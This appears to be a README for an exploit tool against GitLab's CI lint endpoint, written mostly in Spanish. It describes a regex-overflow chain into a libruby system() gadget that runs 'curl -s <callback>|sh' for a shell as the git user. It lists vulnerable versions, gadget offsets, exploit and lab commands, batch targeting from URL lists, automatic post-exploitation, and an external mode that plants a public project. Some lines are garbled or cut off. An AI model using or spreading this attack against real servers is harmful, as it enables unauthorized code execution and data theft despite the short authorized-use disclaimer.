CVE-2026-97229 desbordamiento de entero en regex de GitLab CI lint RCE — reproducción de la matriz de versiones de InstaBox e ingeniería inversa del gadget de libruby
Solo para pruebas autorizadas. Utiliza esto únicamente contra sistemas que poseas o para los que tengas autorización explícita (alcance de bug-bounty, encargo con un cliente, tu propio laboratorio). El uso no autorizado es ilegal.
Una solicitud de CI-lint no autenticada que corrompe el matcher de Onigmo y redirige la ejecución a un
gadget system() dentro de libruby.so:
GET /api/v4/projects/:id/ci/lint?content_ref=<nonce>
→ include.rules.exists.regexp compiles a crafted pattern
→ a 57k-repeat drives the matcher into a ~2 GiB expansion
→ the write lands past the allocation and redirects the VM frame
→ mov r14,rdi; call system@plt runs a 28-byte stager
→ curl -s <callback>|sh → uid=998(git)
La solicitud final no está autenticada, pero plantar la configuración de CI maliciosa requiere acceso de escritura a un proyecto público (o una instancia que permita el autorregistro y proyectos públicos).
| Elemento | Valor |
|---|---|
| Afectados (probados) | 19.2.0–19.2.7, 19.3.0–19.3.3, 19.4.0–19.4.1 |
| No explotables | 19.2.8, 19.3.4 (valor atípico, ver más abajo), 19.3.5, 19.4.2; 19.2.3 no tiene imagen CE |
| Disparador | GET /api/v4/projects/:id/ci/lint sin autenticación |
| Requisitos previos | accesibilidad + escritura en un proyecto público (token, cuenta comprometida o registro abierto) |
| Impacto | ejecución de comandos como git (uid 998) dentro del contenedor de GitLab |
| Restricciones del PoC | compilaciones x86_64; el diseño depende de cada compilación de libruby.so, no de la cadena de versión |
| Límite del aviso | 19.2.x < 19.2.8, 19.3.x < 19.3.5, 19.4.x < 19.4.2 |
19.3.4 figura como afectada en el aviso, pero su
libruby.soincluido nunca entra en la ruta de expansión vulnerable — no pudimos convertirla en arma (repro/evidence/2026-10-18-full-matrix/).
./lab/run.sh 19.4.1 # local Docker; first boot 5–15 min
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1
Expected last line:
{"status":"RCE","version":"19.4.1","lint":"http(502)","project":"root/e12ab34",
"output":"uid=998(git) gid=998(git) groups=998(git)\n..."}
Sin cuenta en la nube y sin SSH: el laboratorio es Docker simple (demonio local, DOCKER_HOST o un contexto de docker).
En Docker Desktop añade --callback-host host.docker.internal.
include.rules.exists.regexp manipulado junto con una ruta de repositorio de 110 bytes.{5(?#)7805} para que la protección contra repeticiones del lado de Rails (REPEAT_MAX=1000) no la detecte.call y el desplazamiento de system@plt, redirigiendo la VM.curl -s <callback>|sh, lo que proporciona una shell como el usuario del servicio git../lab/run.sh 19.4.1 # http://127.0.0.1:8080, container gl-19-4-1
./lab/run.sh 19.3.3 8081 # second version on another port
El lanzador aplica la configuración de memoria que necesita el exploit (sidekiq off, un worker de Puma, buffers pequeños de Postgres, --memory 6.5g --shm-size 256m), espera a la UI y establece la contraseña de root.
Véase lab/README.md / lab/README_CN.md.
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 --probe
| Campo | Significado |
|---|---|
http | estado de GET /users/sign_in |
version | versión de GitLab leída desde el contenedor (null sin acceso al contenedor) |
class | clasificación del aviso: affected / patched / not-listed / unknown |
libruby_md5 | identidad de compilación del libruby.so del contenedor objetivo |
layout | finish / gadget / step (solo cuando la compilación es conocida o derivable) |
exploitable | si hay un layout disponible; class=affected no implica esto |
layout_source | table, derived o no-overflow-in-build |
class: "unknown" simplemente significa que no había información de contenedor/versión disponible — para un objetivo de solo URL
la herramienta no puede clasificar ni derivar un layout. Véase «Objetivos externos» más abajo.
python3 exploit/cve97229.py --url http://127.0.0.1:8080 --container gl-19-4-1 \
--command 'id; hostname; uname -a'
Criterio de éxito: lint es dropped(HTTPError) o http(502) y output comienza con
uid=998(git). Un 200 con valid:true significa que la compilación no es vulnerable.
| Línea | Explotable | Parcheada / no explotable |
|---|---|---|
| 19.2.x | 19.2.0, 19.2.1, 19.2.2, 19.2.4–19.2.7 | 19.2.8; 19.2.3 no tiene imagen CE |
| 19.3.x | 19.3.0–19.3.3 | 19.3.4 (el matcher nunca se expande), 19.3.5 |
| 19.4.x | 19.4.0, 19.4.1 | 19.4.2 |
Evidencia por compilación: repro/evidence/2026-10-18-full-matrix/
(中文).
# plain URL list (.txt)
https://gitlab-a.example
http://gitlab-b.example:8080
# structured (.txt or .csv): name,url,container[,layout]
gl-1941,http://127.0.0.1:8080,gl-19-4-1
# CSV with header
name,url,container,layout
gl-1941,http://127.0.0.1:8080,gl-19-4-1,
container es obligatorio para la ruta de exploit actual (libruby/layout + rails runner); layout es una
anulación opcional para compilaciones que la herramienta no puede leer.
python3 exploit/cve97229.py --targets targets.txt --json-out run.json
Para cada objetivo, en orden: probe → exploit → en caso de RCE, post-explotación
(exploit/post/collect.sh; se sobrescribe con --post-command-file, se desactiva con --no-post).
--probe-only se detiene tras la identificación (fingerprinting). Código de salida 0 si algún objetivo dio RCE.
El payload necesita tres constantes por compilación (gadget finish, system@plt, paso UTF-8). Orden de resolución:
layout explícito (0x… 0x… 12345);libruby.so del contenedor mediante exploit/layout.py.Todas las compilaciones vulnerables conocidas usan solo dos layouts: 0x486DA9/0x31EE29/1249885 y
0x4885A9/0x31E809/1256138.
--mode external solo necesita HTTP y un PAT (ámbito api): crea un proyecto público a través de la API,
hace push con oauth2:<token>, dispara el lint no autenticado y elimina el proyecto después.